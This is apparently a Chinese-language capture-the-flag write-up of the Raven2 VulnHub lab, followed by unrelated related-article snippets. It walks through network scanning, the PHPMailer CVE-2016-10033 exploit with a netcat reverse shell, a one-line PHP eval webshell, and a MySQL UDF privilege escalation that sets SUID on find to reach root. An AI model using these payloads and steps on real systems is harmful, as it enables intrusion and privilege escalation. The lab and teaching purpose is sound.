UDF提权

news2025/1/11 12:39:42

目录

一、UDF概述

二、提权条件

三、漏洞复现

(一) 信息收集

1. Nmap信息收集

1.1、查看当前IP地址

1.2、扫描当前网段,找出目标机器

1.3、快速扫描目标机全端口

2. dirb目录扫描

3. 第一个flag

3.1、目录遍历漏洞

3.2、flag

4. 敏感信息利用

(二) 漏洞利用

1. searchsploit工具搜索exp

2. 更改exp中所需参数

3. 运行exp并开启nc监听

4. 访问exp生成的用于反弹shell的php文件

5. 第二和三个flag

(三) 蚁剑操作

1. 写入一句话木马

2. 蚁剑连接

3. 查看配置信息

(四) 寻找exp

1. searchsploit工具搜索exp

2. ChatGPT解读EXP内容

(五) 提权操作

1. 编译.c文件为.so文件

2. 将bug.so文件传入目标机中

3. 连接数据库

4. 数据库操作

5. 验证是否提权成功

6. 第四个flag


环境:https://download.vulnhub.com/raven/Raven2.ova

一、UDF概述

当MYSQL权限比较高的时候我们就可以利用UDF提权。

UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数)

UDF(user defined function)用户自定义函数,是MySQL的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。

文件后缀为.dll.so,常用c语言编写。

UDF在MySQL5.1以后的版本,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’常用c语言编写。

MySQL5.1以上的版本,默认是没有plugin目录的,选择手动建立。

二、提权条件

其实这一步都无所谓,毕竟如果你操作系统提权失败,而恰巧目标使用的是MySQL,那孤注一掷吧。

如果MySQL也不行,什么方法都尝试了依旧无果,那只能请教一下红队大牛了(小的不行)

  • MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能
  • 掌握mysql数据库的账户,从拥有对mysql的insert和delect权限,以创建和删除函数
  • 拥有可以将udf.dll写入相应目录的权限。

三、漏洞复现

(一) 信息收集

1. Nmap信息收集

1.1、查看当前IP地址
┌──(root㉿hack)-[~]
└─# ifconfig eth0 | grep inet
        inet 192.168.20.130  netmask 255.255.255.0  broadcast 192.168.20.255
        inet6 fe80::823a:7455:6959:aac2  prefixlen 64  scopeid 0x20<link>

1.2、扫描当前网段,找出目标机器
┌──(root㉿hack)-[~]
└─# nmap -sP 192.168.20.0/24
/*
-s		指定扫描技术
-P		ping操作
-sP		使用ping操作来寻找存活主机
*/

发现目标机为:192.168.20.137

1.3、快速扫描目标机全端口
┌──(root㉿hack)-[~]
└─# nmap -sS -p 1-65535 192.168.20.137
/*
-sS	SYN扫描技术
-p  指定端口
*/

2. dirb目录扫描

┌──(root㉿hack)-[~]
└─# dirb http://192.168.20.137/

3. 第一个flag

3.1、目录遍历漏洞

通过目录访问探索发现:http://192.168.20.137/vendor/ 存在目录遍历漏洞。

3.2、flag

眼疾手快的点了一下PATH发现flag信息以及绝对路径

4. 敏感信息利用

发现一个README.md的说明文档,打开看看。

发现PHPMailer并且版本为5.2,上网查询发现公开漏洞。

(二) 漏洞利用

1. searchsploit工具搜索exp

这里需要用到一款Kali自带用于搜索exp的工具,名为searchsploit。

如果你要问,你是怎么知道这款工具的,那么我只能告诉你,学习使你强大!

别问为什么使用红框里面的exp,问就是测试有效!这里并不是指其他的不可用。

searchsploit phpMailer		#搜索关于phpMailer的exp

searchsploit -m php/webapps/40974.py #将exp保存到当前工作目录中

2. 更改exp中所需参数

vim /root/40974.py
target	#修改为目标IP+端口
payload	#反弹shell的地址修改为攻击机的IP地址
fields→email	#修改为目标网址绝对路径(只要可以访问,放哪里都无所谓)

3. 运行exp并开启nc监听

┌──(root㉿hack)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...

nc				#nc是netcat的简写,工具命令。
-l				#监听模式。使用此选项后,nc将会监听指定的端口。
-v				#启用详细的输出模式。使用此选项后,nc将会显示更多的信息和日志。
-p 4444		#这是nc的另一个选项,表示指定监听的端口号。在这个例子中,指定的端口号是4444。
┌──(root㉿hack)-[~]
└─# python 40974.py

 █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ 
██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗
███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝
██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗
██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║
╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝
      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com
 Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski

[+] SeNdiNG eVIl SHeLL To TaRGeT....
[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D
[+]  ExPLoITeD http://192.168.20.137/contact.php

4. 访问exp生成的用于反弹shell的php文件

使用浏览器访问:http://192.168.20.137/bug.php


转到终端1,可以看到,成功反弹shell成功。
┌──(root㉿hack)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.20.130] from bogon [192.168.20.137] 40254
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

5. 第二和三个flag

$ find / -name "flag*" 2>/dev/null
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt

这里用flag查询flag,发现只有2个,结合之前那一个,一共3个。

但是这个靶机中存在4个flag,用find没有查出来,猜测是有些目录是当前权限无法访问,所以没有查出来,我们下面开始进行提权操作。

(三) 蚁剑操作

1. 写入一句话木马

反正都是网站权限,写一个一句话木马,用蚁剑操作比较方便。

echo '<?php @eval($_REQUEST['bug']); ?>' > tu.php

2. 蚁剑连接

3. 查看配置信息

这篇文章的主题就是UDF提权,所以肯定是系统提权失败,才选择UDF提权、

信息收集看到网址框架是wordpress,所以我们直接选择去看它的配置文件。

在这个配置文件中看到了数据库账号和密码,并且数据库为MySQL

(四) 寻找exp

1. searchsploit工具搜索exp

这里需要用到一款Kali自带用于搜索exp的工具,名为searchsploit。

如果你要问,你是怎么知道这款工具的,那么我只能告诉你,学习使你强大!

别问为什么使用红框里面的exp,问就是测试有效!这里并不是指其他的不可用。

searchsploit mysql UDF		#搜索关于mysql UDF的exp

searchsploit -m linux/local/1518.c #将exp保存到当前工作目录中

2. ChatGPT解读EXP内容

(五) 提权操作

1. 编译.c文件为.so文件

┌──(root㉿hack)-[~]
└─# gcc -g -c 1518.c 
                                                                                                                                                                                             
┌──(root㉿hack)-[~]
└─# gcc -g -shared -o bug.so 1518.o -lc

将1518.c文件编译成.so文件
将C语言代码编译成.so文件(也称为共享对象文件)的作用是创建一个可供其他程序调用和链接的动态链接库。
这种动态链接库通常包含一组函数和符号,可以在运行时被其他程序加载和使用。

.so文件可以被不同的程序共享使用,这样可以避免代码的重复编写和维护。
它提供了一种灵活的方式来共享和重用代码,从而提高开发效率和代码复用性。

通常情况下,需要先将C语言代码编译为目标文件(.o文件),然后再将目标文件链接为共享库(.so文件)。
这是因为编译过程分为两个阶段:编译和链接。
编译阶段将源代码转换为目标文件,而链接阶段将目标文件与其他库文件进行连接,生成可执行文件或共享库。

2. 将bug.so文件传入目标机中

3. 连接数据库

4. 数据库操作

create table bug(line blob);
这条命令创建了一个名为"bug"的数据库表,它只有一个名为"line"的列,类型为二进制(BLOB)。

insert into bug values(load_file('/tmp/bug.so'));
这条命令将指定路径(/tmp/bug.so)下的文件内容以二进制形式插入到"bug"表的"line"列中。
这里假设该文件是一个共享库文件。

select * from bug into dumpfile '/usr/lib/mysql/plugin/bug.so';
这条命令从"bug"表中选择所有行,并将其以文件的形式导出到指定路径(/usr/lib/mysql/plugin/bug.so)
这里的目的是将"bug"表中的内容导出为一个共享库文件。

create function do_system returns integer soname 'bug.so';
这条命令创建了一个名为"do_system"的用户定义函数(UDF),它的返回类型是整数。
该函数通过指定的共享库文件(bug.so)进行加载。

select do_system('chmod u+s /usr/bin/find');
这条命令调用了之前创建的"do_system"函数,并将"chmod u+s /usr/bin/find"作为参数传递给它。
这里的目的是在执行该命令时提升"/usr/bin/find"命令的权限。

5. 验证是否提权成功

(www-data:/tmp) $ touch tu
(www-data:/tmp) $ find tu -exec whoami \;
root

SUID权限:
它在执行过程中会临时获取文件所有者的权限,而不是执行它的用户的权限。
也就是说如果我执行了一个设置有SUID权限的文件,那么我在执行这个文件的权限就是root(含过程)。

find命令	#指定要搜索的文件或目录的路径
tu				#文件
-exec			#"-exec" 是 find 命令中的一个选项,用于在找到匹配的文件或目录后执行指定的命令。
whoami		#在这个命令中,指定的命令是 "whoami",它用于显示当前用户的用户名。
\;				#是一个用于告诉 find 命令 "-exec" 选项结束的标志。在这个命令中,它表示命令执行的结尾。

6. 第四个flag

(www-data:/tmp) $ find tu -exec find / -name "flag*" 2>/dev/null \;
(www-data:/tmp) $ find tu -exec cat /root/flag4.txt \;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1520170.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Hive-技术补充-初识ANTLR

一、背景 要清晰的理解一条Hql是如何编译成MapReduce任务的&#xff0c;就必须要学习ANTLR。下面是ANTLR的官方网址&#xff0c;下面让我们一起来跟着官网学习吧&#xff0c;在学习的过程中我参考了《antlr4权威指南》&#xff0c;你也可以读下这本书&#xff0c;一定会对你有…

labview技术交流-判断两个数组的元素是否完全相同

问题来源 分析并判断两个一维数组中包含的元素是否完全相同&#xff0c;不考虑索引顺序。比如说[1,5,7,3]和[3,5,7,1]是完全相同的两个一维数组&#xff0c;那[1,5,7,3]和[5,7,1,4]就不是相同的数组。结合我给出的示例&#xff0c;大家有没有什么思路呢&#xff1f; 思路分析 …

Java数据结构-优先级队列

文章目录 前言一、优先级队列1.1 概念 二、优先级队列的模拟实现2.1 堆的概念2.2 堆的存储方式2.3 堆的创建2.3.1 堆向下调整2.3.2 堆的创建2.3.3 建堆的时间复杂度 2.4 堆的插入与删除2.4.1 堆的插入2.4.2 堆的删除 2.5 用堆模拟实现优先级队列 三、常用接口介绍3.1 PriorityQ…

MediaBox音视频终端SDK已适配鸿蒙星河版(HarmonyOS NEXT)

2024年1月&#xff0c;HarmonyOS NEXT 鸿蒙星河版系统开发者预览版开放申请&#xff0c;该系统将只能安装为鸿蒙开发的原生应用&#xff0c;而不再兼容安卓应用。对此&#xff0c;阿里云MediaBox音视频终端SDK产品已实现功能的鸿蒙化迁移和重构&#xff0c;全面适配鸿蒙系统Har…

Html提高——HTML5 新增的语义化标签

引入&#xff1a; 以前布局&#xff0c;我们基本用 div 来做。div 对于搜索引擎来说&#xff0c;是没有语义的。 但是在html5里增加了语义化标签&#xff0c;如 <header>&#xff1a;头部标签 <nav>&#xff1a;导航标签 <article>&#xff1a;内容标签 &…

ASP.NET Mvc+FFmpeg+Video实现视频转码

目录 首先&#xff0c;做了视频上传的页面&#xff1a; FFmpeg&#xff1a;视频转码 FFmpegHelper工作类&#xff1a; 后台控制器代码&#xff1a; 前端视图代码&#xff1a; 参考文章&#xff1a; 首先&#xff0c;做了视频上传的页面&#xff1a; 借鉴了这篇文章 ASP.…

Qt学习--this指针的使用

在 C 中&#xff0c;this 指针是一个特殊的指针&#xff0c;它指向当前对象的实例。 在 C 中&#xff0c;每一个对象都能通过 this 指针来访问自己的地址。 this是一个隐藏的指针&#xff0c;可以在类的成员函数中使用&#xff0c;它可以用来指向调用对象。 当一个对象的成员…

【算法杂货铺】二分算法

目录 &#x1f308;前言&#x1f308; &#x1f4c1; 朴素二分查找 &#x1f4c2; 朴素二分模板 &#x1f4c1; 查找区间端点处 细节&#xff08;重要&#xff09; &#x1f4c2; 区间左端点处模板 &#x1f4c2; 区间右端点处模板 &#x1f4c1; 习题 1. 35. 搜索插入位…

实验01 ASP.NET网站的建立及运行

【实验目的】 &#xff08;1&#xff09;能熟悉ASP.NET的开发环境Visual Studio Community 2019&#xff08;VSC 2019&#xff09;。 &#xff08;2&#xff09;能通过解决方案管理网站&#xff0c;会在解决方案中创建网站。 &#xff08;3&#xff09;会设置IIS 10中的网站…

德迅蜂巢(容器安全)全面出击

随着云计算的发展&#xff0c;以容器和微服务为代表的云原生技术&#xff0c;受到了人们的广泛关注&#xff0c;德迅云安全德迅蜂巢&#xff08;容器安全&#xff09;是企业容器运行时和容器编排的首要选择。然而&#xff0c;在应用容器过程中&#xff0c;大多数企业都遇到过不…

VS2022 配置QT5.9.9

QT安装 下载地址&#xff1a;https://download.qt.io/archive/qt/ 下载安装后进行配置 无法运行 rc.exe 下载VS2022 官网下载 配置 1.扩展-管理扩展-下载Qt Visual Studio Tools 安装 2.安装完成后&#xff0c;打开vs2022,点击扩展&#xff0c;会发现多出了QT VS Tools,点…

应用层_HTTPHTTPS

在应用层中&#xff0c;协议一般是程序员定制的&#xff0c;但现在已经有了许多非常好用的协议&#xff0c;我们可以直接参考使用。其中http和https便是其中最常用的协议之一。 一.HTTP 超文本传输协议&#xff08;Hypertext Transfer Protocol&#xff0c;HTTP&#xff09;…

Unreal发布Android App如何面对混乱的Android SDK开发环境

Unreal发布Android App如何面对混乱的Android SDK开发环境 混乱的Android SDK开发环境Unreal 4可以借用Unity3D安装的Android环境Unreal 5需要安装Android Studio开发环境Android Studio的DK版本目录处理gradle和java版本gradle提示错误总结 混乱的Android SDK开发环境 Unreal…

ubuntu安装zsh及环境配置

ubuntu安装zsh及环境配置 MacBook 安装 zsh 个人很喜欢使用zsh,它的终端显示很清晰,命令都很友好,使用git时,直接可以看到当前分支和修改状态 zsh安装 1.查看当前系统装了哪些shellcat /etc/shells 2.当前正在运行的是哪个版本的shellecho $SHELL 3.安装zshsudo apt-get -y …

深入理解TCP:序列号、确认号和自动ACK的艺术

深入理解TCP&#xff1a;序列号、确认号和自动ACK的艺术 在计算机网络的世界里&#xff0c;TCP&#xff08;传输控制协议&#xff09;扮演着至关重要的角色。它确保了数据在不可靠的网络环境中可靠地、按顺序地传输。TCP的设计充满智慧&#xff0c;其中序列号&#xff08;Seq&a…

html和winform webBrowser控件交互并播放视频(包含转码)

1、 为了使网页能够与winform交互 将com的可访问性设置为真 [System.Security.Permissions.PermissionSet(System.Security.Permissions.SecurityAction.Demand, Name "FullTrust")][System.Runtime.InteropServices.ComVisibleAttribute(true)] 2、在webBrow…

MS08-067 漏洞利用与安全加固

文章目录 环境说明1 MS08_067 简介2 MS08_067 复现过程3 MS08_067 安全加固 环境说明 渗透机操作系统&#xff1a;2024.1漏洞复现操作系统: Windows XP Professional with Service Pack 2- VL (English)安全加固复现操作系统&#xff1a;Windows XP Professional with Service …

一文让您读懂实时数仓(Apache Doris)

引言&#xff1a; 随着大数据时代的来临&#xff0c;实时数据处理与分析成为企业核心竞争力的关键因素之一。在这场数据革命中&#xff0c;SelectDB成为引领者。从百度自研的实时数仓平台 Palo&#xff0c;到开源项目 Apache Doris&#xff0c;再到飞轮科技研发的 SelectDB&am…

鸿蒙Harmony应用开发—ArkTS声明式开发(容器组件:ListItem)

用来展示列表具体item&#xff0c;必须配合List来使用。 说明&#xff1a; 该组件从API Version 7开始支持。后续版本如有新增内容&#xff0c;则采用上角标单独标记该内容的起始版本。该组件的父组件只能是List或者ListItemGroup。 子组件 可以包含单个子组件。 接口 从API…

19113133262(微信同号)【征稿进行时|见刊、检索快速稳定】2024年区块链、物联网与复合材料与国际学术会议 (ICBITC 2024)

【征稿进行时|见刊、检索快速稳定】2024年区块链、物联网与复合材料与国际学术会议 (ICBITC 2024) 大会主题: (主题包括但不限于, 更多主题请咨询会务组苏老师) 区块链&#xff1a; 区块链技术和系统 分布式一致性算法和协议 块链性能 信息储存系统 区块链可扩展性 区块…